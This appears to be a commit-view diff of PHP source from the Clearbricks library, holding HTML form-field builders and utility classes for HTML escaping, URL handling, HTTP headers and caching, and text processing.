if (func_num_args() > 3 && is_array($default)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($default, $options));
extract($args);
}
return '<input type="' . $type . '" name="' . $name . '" ' .
($id ? 'id="' . $id . '" ' : '') .
($size ? 'size="' . $size . '" ' : '') .
($max ? 'maxlength="' . $max . '" ' : '') .
($default || $default === '0' ? 'value="' . $default . '" ' : '') .
($class ? 'class="' . $class . '" ' : '') .
($tabindex ? 'tabindex="' . strval((int) $tabindex) . '" ' : '') .
($disabled ? 'disabled ' : '') .
($required ? 'required ' : '') .
($autocomplete ? 'autocomplete="' . $autocomplete . '" ' : '') .
$extra_html .
' />' . "\n";
}
/**
* Password field
*
* Returns HTML code for a password field.
* $nid could be a string or an array of name and ID.
* $default could be a string or an associative array of any of optional parameters
*
* @uses form::field
*
* @param string|array $nid Element ID and name
* @param integer $size Element size
* @param integer $max Element maxlength
* @param mixed $default Element value | associative array of optional parameters
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $autocomplete Autocomplete attributes if relevant (new-password/current-password)
*
* @return string
*
* @static
*/
public static function password(
$nid,
int $size,
?int $max,
$default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $autocomplete = ''
): string {
if (func_num_args() > 3 && is_array($default)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($default, $options));
extract($args);
}
return self::field(
$nid,
$size,
$max,
$default,
$class,
$tabindex,
$disabled,
$extra_html,
$required,
'password',
$autocomplete
);
}
/**
* HTML5 Color field
*
* Returns HTML code for an input color field.
* $nid could be a string or an array of name and ID.
* $size could be a integer or an associative array of any of optional parameters
*
* @uses form::field
*
* @param string|array $nid Element ID and name
* @param mixed $size Element size | associative array of optional parameters
* @param integer $max Element maxlength
* @param string $default Element value
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $autocomplete Autocomplete attributes if relevant
*
* @return string
*
* @static
*/
public static function color(
$nid,
$size = 7,
?int $max = 7,
?string $default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $autocomplete = ''
): string {
if (func_num_args() > 1 && is_array($size)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($size, $options));
extract($args);
}
return self::field(
$nid,
$size,
$max,
$default,
$class,
$tabindex,
$disabled,
$extra_html,
$required,
'color',
$autocomplete
);
}
/**
* HTML5 Email field
*
* Returns HTML code for an input email field.
* $nid could be a string or an array of name and ID.
* $size could be a integer or an associative array of any of optional parameters
*
* @uses form::field
*
* @param string|array $nid Element ID and name
* @param mixed $size Element size | associative array of optional parameters
* @param integer $max Element maxlength
* @param string $default Element value
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $autocomplete Autocomplete attributes if relevant
*
* @return string
*
* @static
*/
public static function email(
$nid,
$size = 20,
?int $max = 255,
?string $default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $autocomplete = ''
): string {
if (func_num_args() > 1 && is_array($size)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($size, $options));
extract($args);
}
return self::field(
$nid,
$size,
$max,
$default,
$class,
$tabindex,
$disabled,
$extra_html,
$required,
'email',
$autocomplete
);
}
/**
* HTML5 URL field
*
* Returns HTML code for an input (absolute) URL field.
* $nid could be a string or an array of name and ID.
* $size could be a integer or an associative array of any of optional parameters
*
* @uses form::field
*
* @param string|array $nid Element ID and name
* @param mixed $size Element size | associative array of optional parameters
* @param integer $max Element maxlength
* @param string $default Element value
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $autocomplete Autocomplete attributes if relevant
*
* @return string
*
* @static
*/
public static function url(
$nid,
$size = 20,
?int $max = 255,
?string $default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $autocomplete = ''
): string {
if (func_num_args() > 1 && is_array($size)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($size, $options));
extract($args);
}
return self::field(
$nid,
$size,
$max,
$default,
$class,
$tabindex,
$disabled,
$extra_html,
$required,
'url',
$autocomplete
);
}
/**
* HTML5 Datetime (local) field
*
* Returns HTML code for an input datetime field.
* $nid could be a string or an array of name and ID.
* $size could be a integer or an associative array of any of optional parameters
*
* @uses form::field
*
* @param string|array $nid Element ID and name
* @param mixed $size Element size | associative array of optional parameters
* @param integer $max Element maxlength
* @param string $default Element value (in YYYY-MM-DDThh:mm format)
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $autocomplete Autocomplete attributes if relevant
*
* @return string
*
* @static
*/
public static function datetime(
$nid,
$size = 16,
?int $max = 16,
?string $default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $autocomplete = ''
): string {
if (func_num_args() > 1 && is_array($size)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($size, $options));
extract($args);
}
// Cope with unimplemented input type for some browser (type="text" + pattern + placeholder)
if (strpos(strtolower($extra_html), 'pattern=') === false) {
$extra_html .= ' pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}"';
}
if (strpos(strtolower($extra_html), 'placeholder') === false) {
$extra_html .= ' placeholder="1962-05-13T14:45"';
}
return self::field(
$nid,
$size,
$max,
$default,
$class,
$tabindex,
$disabled,
$extra_html,
$required,
'datetime-local',
$autocomplete
);
}
/**
* HTML5 Date field
*
* Returns HTML code for an input date field.
* $nid could be a string or an array of name and ID.
* $size could be a integer or an associative array of any of optional parameters
*
* @uses form::field
*
* @param string|array $nid Element ID and name
* @param mixed $size Element size | associative array of optional parameters
* @param integer $max Element maxlength
* @param string $default Element value (in YYYY-MM-DD format)
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $autocomplete Autocomplete attributes if relevant
*
* @return string
*
* @static
*/
public static function date(
$nid,
$size = 10,
?int $max = 10,
?string $default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $autocomplete = ''
): string {
if (func_num_args() > 1 && is_array($size)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($size, $options));
extract($args);
}
// Cope with unimplemented input type for some browser (type="text" + pattern + placeholder)
if (strpos(strtolower($extra_html), 'pattern=') === false) {
$extra_html .= ' pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}"';
}
if (strpos(strtolower($extra_html), 'placeholder') === false) {
$extra_html .= ' placeholder="1962-05-13"';
}
return self::field(
$nid,
$size,
$max,
$default,
$class,
$tabindex,
$disabled,
$extra_html,
$required,
'date',
$autocomplete
);
}
/**
* HTML5 Time (local) field
*
* Returns HTML code for an input time field.
* $nid could be a string or an array of name and ID.
* $size could be a integer or an associative array of any of optional parameters
*
* @uses form::field
*
* @param string|array $nid Element ID and name
* @param mixed $size Element size | associative array of optional parameters
* @param integer $max Element maxlength
* @param string $default Element value (in hh:mm format)
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $autocomplete Autocomplete attributes if relevant
*
* @return string
*
* @static
*/
public static function time(
$nid,
$size = 5,
?int $max = 5,
?string $default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $autocomplete = ''
): string {
if (func_num_args() > 1 && is_array($size)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($size, $options));
extract($args);
}
// Cope with unimplemented input type for some browser (type="text" + pattern + placeholder)
if (strpos(strtolower($extra_html), 'pattern=') === false) {
$extra_html .= ' pattern="[0-9]{2}:[0-9]{2}"';
}
if (strpos(strtolower($extra_html), 'placeholder') === false) {
$extra_html .= ' placeholder="14:45"';
}
return self::field(
$nid,
$size,
$max,
$default,
$class,
$tabindex,
$disabled,
$extra_html,
$required,
'time',
$autocomplete
);
}
/**
* HTML5 file field
*
* Returns HTML code for an input file field.
* $nid could be a string or an array of name and ID.
* $default could be a integer or an associative array of any of optional parameters
*
* @param string|array $nid Element ID and name
* @param mixed $default Element value | associative array of optional parameters
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
*
* @return string
*
* @static
*/
public static function file(
$nid,
$default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false
): string {
self::getNameAndId($nid, $name, $id);
if (func_num_args() > 1 && is_array($default)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($default, $options));
extract($args);
}
return '<input type="file" ' . '" name="' . $name . '" ' .
($id ? 'id="' . $id . '" ' : '') .
($default || $default === '0' ? 'value="' . $default . '" ' : '') .
($class ? 'class="' . $class . '" ' : '') .
($tabindex ? 'tabindex="' . strval((int) $tabindex) . '" ' : '') .
($disabled ? 'disabled ' : '') .
($required ? 'required ' : '') .
$extra_html .
' />' . "\n";
}
/**
* HTML5 number input field
*
* Returns HTML code for an number input field.
* $nid could be a string or an array of name and ID.
* $min could be a string or an associative array of any of optional parameters
*
* @param string|array $nid Element ID and name
* @param mixed $min Element min value (may be negative) | associative array of optional parameters
* @param integer $max Element max value (may be negative)
* @param string $default Element value
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $autocomplete Autocomplete attributes if relevant
*
* @return string
*
* @static
*/
public static function number(
$nid,
$min = null,
?int $max = null,
?string $default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $autocomplete = ''
): string {
self::getNameAndId($nid, $name, $id);
if (func_num_args() > 1 && is_array($min)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($min, $options));
extract($args);
}
return '<input type="number" name="' . $name . '" ' .
($id ? 'id="' . $id . '" ' : '') .
($min !== null ? 'min="' . $min . '" ' : '') .
($max !== null ? 'max="' . $max . '" ' : '') .
($default || $default === '0' ? 'value="' . $default . '" ' : '') .
($class ? 'class="' . $class . '" ' : '') .
($tabindex ? 'tabindex="' . strval((int) $tabindex) . '" ' : '') .
($disabled ? 'disabled ' : '') .
($required ? 'required ' : '') .
($autocomplete ? 'autocomplete="' . $autocomplete . '" ' : '') .
$extra_html .
' />' . "\n";
}
/**
* Textarea
*
* Returns HTML code for a textarea.
* $nid could be a string or an array of name and ID.
* $default could be a string or an associative array of any of optional parameters
*
* @param string|array $nid Element ID and name
* @param integer $cols Number of columns
* @param integer $rows Number of rows
* @param mixed $default Element value | associative array of optional parameters
* @param string $class Element class name
* @param string $tabindex Element tabindex
* @param boolean $disabled True if disabled
* @param string $extra_html Extra HTML attributes
* @param boolean $required Element is required
* @param string $autocomplete Autocomplete attributes if relevant
*
* @return string
*
* @static
*/
public static function textArea(
$nid,
int $cols,
int $rows,
$default = '',
?string $class = '',
?string $tabindex = '',
bool $disabled = false,
?string $extra_html = '',
bool $required = false,
?string $autocomplete = ''
): string {
self::getNameAndId($nid, $name, $id);
if (func_num_args() > 3 && is_array($default)) {
// Cope with associative array of optional parameters
$options = self::getDefaults(__CLASS__, __FUNCTION__);
$args = array_merge($options, array_intersect_key($default, $options));
extract($args);
}
return '<textarea cols="' . $cols . '" rows="' . $rows . '" name="' . $name . '" ' .
($id ? 'id="' . $id . '" ' : '') .
($tabindex != '' ? 'tabindex="' . strval((int) $tabindex) . '" ' : '') .
($class ? 'class="' . $class . '" ' : '') .
($disabled ? 'disabled ' : '') .
($required ? 'required ' : '') .
($autocomplete ? 'autocomplete="' . $autocomplete . '" ' : '') .
$extra_html . '>' . $default . '</textarea>' . "\n";
}
/**
* Hidden field
*
* Returns HTML code for an hidden field. $nid could be a string or an array of
* name and ID.
*
* @param string|array $nid Element ID and name
* @param mixed $value Element value
*
* @return string
*
* @static
*/
public static function hidden($nid, $value): string
{
self::getNameAndId($nid, $name, $id);
return '<input type="hidden" name="' . $name . '" value="' . $value . '" ' .
($id ? 'id="' . $id . '" ' : '') .
' />' . "\n";
}
}
/**
* @class formSelectOption
* @brief HTML Forms creation helpers
*
* @package Clearbricks
* @subpackage Common
*/
class formSelectOption
{
public $name; ///< string Option name
public $value; ///< mixed Option value
public $class_name; ///< string Element class name
public $html; ///< string Extra HTML attributes
/**
* sprintf template for option
* @var string $option
* @access private
*/
private $option = '<option value="%1$s"%3$s>%2$s</option>' . "\n";
/**
* Option constructor
*
* @param string $name Option name
* @param mixed $value Option value
* @param string $class_name Element class name
* @param string $html Extra HTML attributes
*/
public function __construct(string $name, $value, string $class_name = '', string $html = '')
{
$this->name = $name;
$this->value = $value;
$this->class_name = $class_name;
$this->html = $html;
}
/**
* Option renderer
*
* Returns option HTML code
*
* @param string $default Value of selected option
* @return string
*/
public function render(?string $default): string
{
$attr = $this->html ? ' ' . $this->html : '';
$attr .= $this->class_name ? ' class="' . $this->class_name . '"' : '';
if ($this->value == $default) {
$attr .= ' selected';
}
return sprintf($this->option, $this->value, $this->name, $attr) . "\n";
}
}

View file

@ -0,0 +1,190 @@
<?php
/**
* @class html
* @brief HTML utilities
*
* @package Clearbricks
* @subpackage Common
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class html
{
/**
* Array of regular expression for {@link absoluteURLs()}
*
* @var array
*/
public static $absolute_regs = [
'/((?:action|cite|data|download|formaction|href|imagesrcset|itemid|itemprop|itemtype|ping|poster|src|srcset)=")(.*?)(")/msu',
];
/**
* HTML escape
*
* Replaces HTML special characters by entities.
*
* @param string $str String to escape
*
* @return string
*/
public static function escapeHTML(?string $str): string
{
return htmlspecialchars($str ?? '', ENT_COMPAT, 'UTF-8');
}
/**
* Decode HTML entities
*
* Returns a string with all entities decoded.
*
* @param string $str String to protect
* @param string|bool $keep_special Keep special characters: &gt; &lt; &amp;
*
* @return string
*/
public static function decodeEntities(?string $str, $keep_special = false): string
{
if ($keep_special) {
$str = str_replace(
['&amp;', '&gt;', '&lt;'],
['&amp;amp;', '&amp;gt;', '&amp;lt;'],
$str
);
}
# Some extra replacements
$extra = [
'&apos;' => "'",
];
$str = str_replace(array_keys($extra), array_values($extra), $str);
return html_entity_decode($str, ENT_QUOTES, 'UTF-8');
}
/**
* Remove markup
*
* Removes every tags, comments, cdata from string
*
* @param string $str String to clean
*
* @return string
*/
public static function clean(?string $str): string
{
$str = strip_tags($str);
return $str;
}
/**
* Javascript escape
*
* Returns a protected JavaScript string
*
* @param string $str String to protect
*
* @return string
*/
public static function escapeJS(?string $str): string
{
$str = htmlspecialchars($str, ENT_NOQUOTES, 'UTF-8');
$str = str_replace("'", "\'", $str);
$str = str_replace('"', '\"', $str);
return $str;
}
/**
* URL escape
*
* Returns an escaped URL string for HTML content
*
* @param string $str String to escape
*
* @return string
*/
public static function escapeURL(?string $str): string
{
return str_replace('&', '&amp;', $str);
}
/**
* URL sanitize
*
* Encode every parts between / in url
*
* @param string $str String to satinize
*
* @return string
*/
public static function sanitizeURL(?string $str): string
{
return str_replace('%2F', '/', rawurlencode($str));
}
/**
* Remove host in URL
*
* Removes host part in URL
*
* @param string $url URL to transform
*
* @return string
*/
public static function stripHostURL(?string $url): string
{
return preg_replace('|^[a-z]{3,}://.*?(/.*$)|', '$1', $url);
}
/**
* Set links to absolute ones
*
* Appends $root URL to URIs attributes in $str.
*
* @param string $str HTML to transform
* @param string $root Base URL
*
* @return string
*/
public static function absoluteURLs(?string $str, ?string $root): string
{
foreach (self::$absolute_regs as $pattern) {
$str = preg_replace_callback(
$pattern,
function (array $matches) use ($root) {
$url = $matches[2];
$link = str_replace('%', '%%', $matches[1]) . '%s' . str_replace('%', '%%', $matches[3]);
$host = preg_replace('|^([a-z]{3,}://)(.*?)/(.*)$|', '$1$2', $root);
$parse = parse_url($matches[2]);
if (empty($parse['scheme'])) {
if (strpos($url, '//') === 0) {
// Nothing to do. Already an absolute URL.
} elseif (strpos($url, '/') === 0) {
// Beginning by a / return host + url
$url = $host . $url;
} elseif (strpos($url, '#') === 0) {
// Beginning by a # return root + hash
$url = $root . $url;
} elseif (preg_match('|/$|', $root)) {
// Root is ending by / return root + url
$url = $root . $url;
} else {
$url = dirname($root) . '/' . $url;
}
}
return sprintf($link, $url);
},
$str
);
}
return $str;
}
}

View file

@ -0,0 +1,461 @@
<?php
/**
* @class http
* @brief HTTP utilities
*
* @package Clearbricks
* @subpackage Common
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class http
{
/**
* Force HTTPS scheme on server port 443 in {@link getHost()}
*
* @var bool
*/
public static $https_scheme_on_443 = false;
/**
* Cache max age for {@link cache()}
*
* @var int
*/
public static $cache_max_age = 0;
/**
* use X-FORWARD headers on getHost()
*
* @var bool
*/
public static $reverse_proxy = false;
/**
* Self root URI
*
* Returns current scheme, host and port.
*
* @return string
*/
public static function getHost(): string
{
if (self::$reverse_proxy && isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
//admin have choose to allow a reverse proxy,
//and HTTP_X_FORWARDED_FOR header means it's beeing using
if (!isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
throw new Exception('Reverse proxy parametter is setted, header HTTP_X_FORWARDED_FOR is found but not the X-Forwarded-Proto. Please check your reverse proxy server settings');
}
$scheme = $_SERVER['HTTP_X_FORWARDED_PROTO'];
if (isset($_SERVER['HTTP_HOST'])) {
$name_port_array = explode(':', $_SERVER['HTTP_HOST']);
} else {
// Fallback to server name and port
$name_port_array = [
$_SERVER['SERVER_NAME'],
$_SERVER['SERVER_PORT'],
];
}
$server_name = $name_port_array[0];
$port = isset($name_port_array[1]) ? ':' . $name_port_array[1] : '';
if (($port == ':80' && $scheme == 'http') || ($port == ':443' && $scheme == 'https')) {
$port = '';
}
return $scheme . '://' . $server_name . $port;
}
if (isset($_SERVER['HTTP_HOST'])) {
$server_name = explode(':', $_SERVER['HTTP_HOST']);
$server_name = $server_name[0];
} else {
// Fallback to server name
$server_name = $_SERVER['SERVER_NAME'];
}
if (self::$https_scheme_on_443 && $_SERVER['SERVER_PORT'] == '443') {
$scheme = 'https';
$port = '';
} elseif (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
$scheme = 'https';
$port = !in_array($_SERVER['SERVER_PORT'], ['80', '443']) ? ':' . $_SERVER['SERVER_PORT'] : '';
} else {
$scheme = 'http';
$port = ($_SERVER['SERVER_PORT'] != '80') ? ':' . $_SERVER['SERVER_PORT'] : '';
}
return $scheme . '://' . $server_name . $port;
}
/**
* Self root URI
*
* Returns current scheme and host from a static URL.
*
* @param string $url URL to retrieve the host from.
*
* @return string
*/
public static function getHostFromURL(string $url): string
{
preg_match('~^(?:((?:[a-z]+:)?//)|:(//))?(?:([^:\r\n]*?)/[^:\r\n]*|([^:\r\n]*))$~', $url, $matches);
array_shift($matches);
return join($matches);
}
/**
* Self URI
*
* Returns current URI with full hostname.
*
* @return string
*/
public static function getSelfURI(): string
{
if (substr($_SERVER['REQUEST_URI'], 0, 1) != '/') {
return self::getHost() . '/' . $_SERVER['REQUEST_URI'];
}
return self::getHost() . $_SERVER['REQUEST_URI'];
}
/**
* Prepare a full redirect URI from a relative or absolute URL
*
* @param string $relative_url Relative URL
*
* @return string full URI
*/
protected static function prepareRedirect(string $relative_url): string
{
if (preg_match('%^http[s]?://%', $relative_url)) {
$full_url = $relative_url;
} else {
$host = self::getHost();
if (substr($relative_url, 0, 1) == '/') {
$full_url = $host . $relative_url;
} else {
$path = str_replace(DIRECTORY_SEPARATOR, '/', dirname($_SERVER['PHP_SELF']));
if (substr($path, -1) == '/') {
$path = substr($path, 0, -1);
}
if ($path == '.') {
$path = '';
}
$full_url = $host . $path . '/' . $relative_url;
}
}
return $full_url;
}
/**
* Redirect
*
* Performs a conforming HTTP redirect for a relative URL.
*
* @param string $relative_url Relative URL
*/
public static function redirect(string $relative_url): string
{
# Close session if exists
if (session_id()) {
session_write_close();
}
header('Location: ' . self::prepareRedirect($relative_url));
exit;
}
/**
* Concat URL and path
*
* Appends a path to a given URL. If path begins with "/" it will replace the original URL path.
*
* @param string $url URL
* @param string $path Path to append
*
* @return string
*/
public static function concatURL(string $url, string $path): string
{
// Ensure there is a trailing slash
if (substr($url, -1, 1) != '/') {
$url .= '/';
}
if (substr($path, 0, 1) != '/') {
return $url . $path;
}
return preg_replace('#^(.+?//.+?)/(.*)$#', '$1' . $path, $url);
}
/**
* Real IP
*
* Returns the real client IP (or tries to do its best).
*
* @return string
*/
public static function realIP(): ?string
{
return $_SERVER['REMOTE_ADDR'] ?? null;
}
/**
* Client unique ID
*
* Returns a "almost" safe client unique ID.
*
* @param string $key HMAC key
*
* @return string
*/
public static function browserUID(string $key): string
{
return crypt::hmac($key, ($_SERVER['HTTP_USER_AGENT'] ?? '') . ($_SERVER['HTTP_ACCEPT_CHARSET'] ?? ''));
}
/**
* Client language
*
* Returns a two letters language code take from HTTP_ACCEPT_LANGUAGE.
*
* @return string
*/
public static function getAcceptLanguage(): string
{
$client_language_code = '';
if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
$accepted_languages = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
$first_acccepted_language = explode(';', $accepted_languages[0]);
$client_language_code = substr(trim((string) $first_acccepted_language[0]), 0, 2);
}
return $client_language_code;
}
/**
* Client languages
*
* Returns an array of accepted langages ordered by priority.
* can be a two letters language code or a xx-xx variant.
*
* @return array
*/
public static function getAcceptLanguages(): array
{
$accepted_languages = [];
if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
// break up string into pieces (languages and q factors)
preg_match_all(
'/([a-z]{1,8}(-[a-z]{1,8})?)\s*(;\s*q\s*=\s*(1|0\.[0-9]+))?/i',
$_SERVER['HTTP_ACCEPT_LANGUAGE'],
$matches
);
if (count($matches[1])) {
// create a list like "en" => 0.8
$accepted_languages = array_combine($matches[1], $matches[4]);
// set default to 1 for any without q factor
foreach ($accepted_languages as $language => $q_factor) {
if ($q_factor === '') {
$accepted_languages[$language] = 1;
}
}
// sort list based on value
arsort($accepted_languages, SORT_NUMERIC);
$accepted_languages = array_map('strtolower', array_keys($accepted_languages));
}
}
return $accepted_languages;
}
/**
* HTTP Cache
*
* Sends HTTP cache headers (304) according to a list of files and an optionnal.
* list of timestamps.
*
* @param array $mod_files Files on which check mtime
* @param array $mod_timestamps List of timestamps
*/
public static function cache(array $mod_files, array $mod_timestamps = []): void
{
if (empty($mod_files) || !is_array($mod_files)) {
return;
}
// Replace each files in array by its last modification timestamp
array_walk($mod_files, function (&$mod_timestamp) {
$mod_timestamp = filemtime($mod_timestamp);
});
// Merge both array of timestamps
$timestamps = array_merge($mod_timestamps, $mod_files);
// Sort (reverse) the resulting timestamps: most recent first [0]
rsort($timestamps);
$now = time();
$timestamp = min($timestamps[0], $now);
$since = null;
if (!empty($_SERVER['HTTP_IF_MODIFIED_SINCE'])) {
$since = $_SERVER['HTTP_IF_MODIFIED_SINCE'];
$since = preg_replace('/^(.*)(Mon|Tue|Wed|Thu|Fri|Sat|Sun)(.*)(GMT)(.*)/', '$2$3 GMT', $since);
$since = strtotime($since);
$since = ($since <= $now) ? $since : null;
}
# Common headers list
$headers[] = 'Last-Modified: ' . gmdate('D, d M Y H:i:s', $timestamp) . ' GMT';
$headers[] = 'Cache-Control: must-revalidate, max-age=' . abs((int) self::$cache_max_age);
$headers[] = 'Pragma:';
if ($since >= $timestamp) {
self::head(304, 'Not Modified');
foreach ($headers as $header) {
header($header);
}
exit;
}
header('Date: ' . gmdate('D, d M Y H:i:s', $now) . ' GMT');
foreach ($headers as $header) {
header($header);
}
}
/**
* HTTP Etag
*
* Sends HTTP cache headers (304) according to a list of etags in client request.
*/
public static function etag(...$args): void
{
if (empty($args)) {
return;
}
// We create an etag from all arguments (given arrays are flattened)
$args = iterator_to_array(new \RecursiveIteratorIterator(new \RecursiveArrayIterator($args)), false);
$etag = '"' . md5(implode('', $args)) . '"';
header('ETag: ' . $etag);
# Do we have a previously sent content?
if (!empty($_SERVER['HTTP_IF_NONE_MATCH'])) {
foreach (explode(',', $_SERVER['HTTP_IF_NONE_MATCH']) as $i) {
if (stripslashes(trim($i)) == $etag) {
self::head(304, 'Not Modified');
exit;
}
}
}
}
/**
* HTTP Header
*
* Sends an HTTP code and message to client.
*
* @param int $code HTTP code
* @param string $msg Message
*/
public static function head(int $code, $msg = null): void
{
$status_mode = preg_match('/cgi/', PHP_SAPI);
if (!$msg) {
$msg_codes = [
100 => 'Continue',
101 => 'Switching Protocols',
200 => 'OK',
201 => 'Created',
202 => 'Accepted',
203 => 'Non-Authoritative Information',
204 => 'No Content',
205 => 'Reset Content',
206 => 'Partial Content',
300 => 'Multiple Choices',
301 => 'Moved Permanently',
302 => 'Found',
303 => 'See Other',
304 => 'Not Modified',
305 => 'Use Proxy',
307 => 'Temporary Redirect',
400 => 'Bad Request',
401 => 'Unauthorized',
402 => 'Payment Required',
403 => 'Forbidden',
404 => 'Not Found',
405 => 'Method Not Allowed',
406 => 'Not Acceptable',
407 => 'Proxy Authentication Required',
408 => 'Request Timeout',
409 => 'Conflict',
410 => 'Gone',
411 => 'Length Required',
412 => 'Precondition Failed',
413 => 'Request Entity Too Large',
414 => 'Request-URI Too Long',
415 => 'Unsupported Media Type',
416 => 'Requested Range Not Satisfiable',
417 => 'Expectation Failed',
500 => 'Internal Server Error',
501 => 'Not Implemented',
502 => 'Bad Gateway',
503 => 'Service Unavailable',
504 => 'Gateway Timeout',
505 => 'HTTP Version Not Supported',
];
$msg = $msg_codes[$code] ?? '-';
}
if ($status_mode) {
header('Status: ' . $code . ' ' . $msg);
} else {
header($msg, true, $code);
}
}
/**
* Trim request
*
* Trims every value in GET, POST, REQUEST and COOKIE vars.
* Removes magic quotes if magic_quote_gpc is on.
*/
public static function trimRequest(): void
{
$cleanup = function (&$value) { $value = trim((string) $value); };
if (!empty($_GET)) {
array_walk_recursive($_GET, $cleanup);
}
if (!empty($_POST)) {
array_walk_recursive($_POST, $cleanup);
}
if (!empty($_REQUEST)) {
array_walk_recursive($_REQUEST, $cleanup);
}
if (!empty($_COOKIE)) {
array_walk_recursive($_COOKIE, $cleanup);
}
}
}

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,351 @@
<?php
/**
* @class text
* @brief Text utilities
*
* @package Clearbricks
* @subpackage Common
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class text
{
/**
* Check email address
*
* Returns true if $email is a valid email address.
*
* @param string $email Email string
*
* @return bool
*/
public static function isEmail(string $email): bool
{
return (filter_var($email, FILTER_VALIDATE_EMAIL) !== false);
}
/**
* Accents replacement
*
* Replaces some occidental accentuated characters by their ASCII
* representation.
*
* @param string $str String to deaccent
*
* @return string
*/
public static function deaccent(string $str): string
{
$pattern['A'] = '\x{00C0}-\x{00C5}';
$pattern['AE'] = '\x{00C6}';
$pattern['C'] = '\x{00C7}';
$pattern['D'] = '\x{00D0}';
$pattern['E'] = '\x{00C8}-\x{00CB}';
$pattern['I'] = '\x{00CC}-\x{00CF}';
$pattern['N'] = '\x{00D1}';
$pattern['O'] = '\x{00D2}-\x{00D6}\x{00D8}';
$pattern['OE'] = '\x{0152}';
$pattern['S'] = '\x{0160}';
$pattern['U'] = '\x{00D9}-\x{00DC}';
$pattern['Y'] = '\x{00DD}';
$pattern['Z'] = '\x{017D}';
$pattern['a'] = '\x{00E0}-\x{00E5}';
$pattern['ae'] = '\x{00E6}';
$pattern['c'] = '\x{00E7}';
$pattern['d'] = '\x{00F0}';
$pattern['e'] = '\x{00E8}-\x{00EB}';
$pattern['i'] = '\x{00EC}-\x{00EF}';
$pattern['n'] = '\x{00F1}';
$pattern['o'] = '\x{00F2}-\x{00F6}\x{00F8}';
$pattern['oe'] = '\x{0153}';
$pattern['s'] = '\x{0161}';
$pattern['u'] = '\x{00F9}-\x{00FC}';
$pattern['y'] = '\x{00FD}\x{00FF}';
$pattern['z'] = '\x{017E}';
$pattern['ss'] = '\x{00DF}';
foreach ($pattern as $r => $p) {
$str = preg_replace('/[' . $p . ']/u', $r, $str);
}
return $str;
}
/**
* String to URL
*
* Transforms a string to a proper URL.
*
* @param string $str String to transform
* @param bool $with_slashes Keep slashes in URL
*
* @return string
*/
public static function str2URL(string $str, bool $with_slashes = true): string
{
$str = self::deaccent($str);
